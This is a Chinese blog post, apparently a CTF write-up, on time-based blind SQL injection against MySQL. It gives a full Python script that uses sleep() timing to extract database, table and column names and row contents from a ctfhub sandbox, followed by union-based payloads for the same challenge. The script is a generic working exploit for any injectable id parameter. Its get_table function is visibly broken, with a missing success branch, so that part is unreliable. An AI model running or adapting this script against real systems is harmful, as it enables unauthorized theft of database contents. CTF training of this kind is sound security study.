sql注入(时间盲注脚本,mysql结构)

一.思路:

基于时间盲注的一般思路是延迟注入,说白了就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是TRUE还是False,从而猜解一些未知的字段。

二.注入步骤

1.确定注入点及注入类型

.2使用if判断语句,猜测version()的长度并用sleep函数作为判断依据

3.重复步骤2直至获取真正长度

4.使用if判断语句,猜测version()的第一个字符的ascii码并使用sleep函数作为判断依据构造注入语句,

5.重复步骤4,直至获取全部长度的版本字符的ascii码

三.运行脚本

import requests

from urllib.parse import quote

base_url = "http://challenge-39a94d469d24b2d4.sandbox.ctfhub.com:10800/?id="

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}

def get_database_length():

    global base_url, headers

    length = 1

    while (1):

        id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"

        url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码

        try:

            requests.get(url, headers=headers, timeout=1).text

        except Exception:

            print("database length", length, "failed!")

            length+=1

        else:

            print("database length", length, "success")

            print("payload:", id)

            break

    print("数据库名的长度为", length)

    return length

def get_database(database_length):

    global base_url, headers

    database = ""

    for i in range(1, database_length + 1):

        l, r = 0, 127 #神奇的申明方法

        while (1):

            ascii = (l + r) // 2

            id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"

            try:

                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text

            except Exception:

                id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"

                try:

                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text

                except Exception:

                    r = ascii - 1

                else:

                    l = ascii + 1

            else:

                database += chr(ascii)

                print ("目前已知数据库名", database)

                break

    print("数据库名为", database)

    return database

def get_table_num(database):

    global base_url, headers

    num = 1

    while (1):

        id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"

        try:

            requests.get(base_url + quote(id), headers=headers, timeout=1).text

        except Exception:

            num += 1

        else:

            print("payload:", id)

            print("数据库中有", num, "个表")

            break

    return num

def get_table_length(index, database):

    global base_url, headers

    length = 1

    while (1):

        id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"

        try:

            requests.get(base_url + quote(id), headers=headers, timeout= 1).text

        except Exception:

            print("table length", length, "failed!")

            length+=1

        else:

            print("table length", length, "success")

            print("payload:", id)

            break

    print("数据表名的长度为", length)

    return length

def get_table(index, table_length, database):

    global base_url, headers

    table = ""

    for i in range(1, table_length + 1):

        l, r = 0, 127 #神奇的申明方法

        while (1):

            ascii = (l + r) // 2

            id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"

            try:

                response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text

            except Exception:

                id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"

                try:

                    response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text

                except Exception:

                    r = ascii - 1

                else:

                    l = ascii + 1

               

                break

    print("数据表名为", table)

    return table

def get_column_num(table):

    global base_url, headers

    num = 1

    while (1):

        id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"

        try:

            requests.get(base_url + quote(id), headers=headers, timeout=1).text

        except Exception:

            num += 1

        else:

            print("payload:", id)

            print("数据表", table, "中有", num, "个字段")

            break

    return num

def get_column_length(index, table):

    global base_url, headers

    length = 1

    while (1):

        id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"

        try:

            requests.get(base_url + quote(id), headers=headers, timeout=1).text

        except Exception:

            print("column length", length, "failed!")

            length+=1

        else:

            print("column length", length, "success")

            print("payload:", id)

            break

    print("数据表", table, "第", index, "个字段的长度为", length)

    return length

def get_column(index, column_length, table):

    global base_url, headers

    column = ""

    for i in range(1, column_length + 1):

        l, r = 0, 127 #神奇的申明方法

        while (1):

            ascii = (l + r) // 2

            id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"

            try:

                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text

            except Exception:

                id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"

                try:

                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text

                except Exception:

                    r = ascii - 1

                else:

                    l = ascii + 1

            else:

                column += chr(ascii)

                print ("目前已知字段为", column)

                break

    print("数据表", table, "第", index, "个字段名为", column)

    return column

def get_flag_num(column, table):

    global base_url, headers

    num = 1

    while (1):

        id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"

        try:

            requests.get(base_url + quote(id), headers=headers, timeout=1).text

        except Exception:

            num += 1

        else:

            print("payload:", id)

            print("数据表", table, "中有", num, "行数据")

            break

    return num

def get_flag_length(index, column, table):

    global base_url, headers

    length = 1

    while (1):

        id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"

        try:

            requests.get(base_url + quote(id), headers=headers, timeout=1).text

        except Exception:

            print("flag length", length, "failed!")

            length+=1

        else:

            print("flag length", length, "success")

            print("payload:", id)

            break

    print("数据表", table, "第", index, "行数据的长度为", length)

    return length

def get_flag(index, flag_length, column, table):

    global base_url, headers

    flag = ""

    for i in range(1, flag_length + 1):

        l, r = 0, 127 #神奇的申明方法

        while (1):

            ascii = (l + r) // 2

            id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"

            try:

                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text

            except Exception:

                id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"

                try:

                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text

                except Exception:

                    r = ascii - 1

                else:

                    l = ascii + 1

            else:

                flag += chr(ascii)

                print ("目前已知flag为", flag)

                break

    print("数据表", table, "第", index, "行数据为", flag)

    return flag

if __name__ == "__main__":

    print("---------------------")

    print("开始获取数据库名长度")

    database_length = get_database_length()

    print("---------------------")

    print("开始获取数据库名")

    database = get_database(database_length)

    print("---------------------")

    print("开始获取数据表的个数")

    table_num = get_table_num(database)

    tables = []

    print("---------------------")

    for i in range(0, table_num):

        print("开始获取第", i + 1, "个数据表的名称的长度")

        table_length = get_table_length(i, database)

        print("---------------------")

        print("开始获取第", i + 1, "个数据表的名称")

        table = get_table(i, table_length, database)

        tables.append(table)

    while(1): #在这个循环中可以进入所有的数据表一探究竟

        print("---------------------")

        print("现在得到了以下数据表", tables)

        table = input("请在这些数据表中选择一个目标: ")

        while( table not in tables ):

            print("你输入有误")

            table = input("请重新选择一个目标")

        print("---------------------")

        print("选择成功,开始获取数据表", table, "的字段数量")

        column_num = get_column_num(table)

        columns = []

        print("---------------------")

        for i in range(0, column_num):

            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")

            column_length = get_column_length(i, table)

            print("---------------------")

            print("开始获取数据表", table, "第", i + 1, "个字段的名称")

            column = get_column(i, column_length, table)

            columns.append(column)

        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录

            print("---------------------")

            print("现在得到了数据表", table, "中的以下字段", columns)

            column = input("请在这些字段中选择一个目标: ")

            while( column not in columns ):

                print("你输入有误")

                column = input("请重新选择一个目标")

            print("---------------------")

            print("选择成功,开始获取数据表", table, "的记录数量")

            flag_num = get_flag_num(column, table)

            flags = []

            print("---------------------")

            for i in range(0, flag_num):

                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")

                flag_length = get_flag_length(i, column, table)

                print("---------------------")

                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")

                flag = get_flag(i, flag_length, column, table)

                flags.append(flag)

            print("---------------------")

            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)

            quit = input("继续切换字段吗?(y/n)")

            if (quit == 'n' or quit == 'N'):

                break

            else:

                continue

        quit = input("继续切换数据表名吗?(y/n)")

        if (quit == 'n' or quit == 'N'):

            break

        else:

            continue

    print("bye~")

四.题目mysql结构

字段数为2

输入-1 union select 1,database()     ,可以得出表名:sqli

然后输入0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

ca

再输入0 union select 1,group_concat(column_name) from information_schema.columns where table_name='egwuknoqey'

最后查看0 union select 1,group_concat(zakjgmjius ) from egwuknoqey


 

  • 12
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值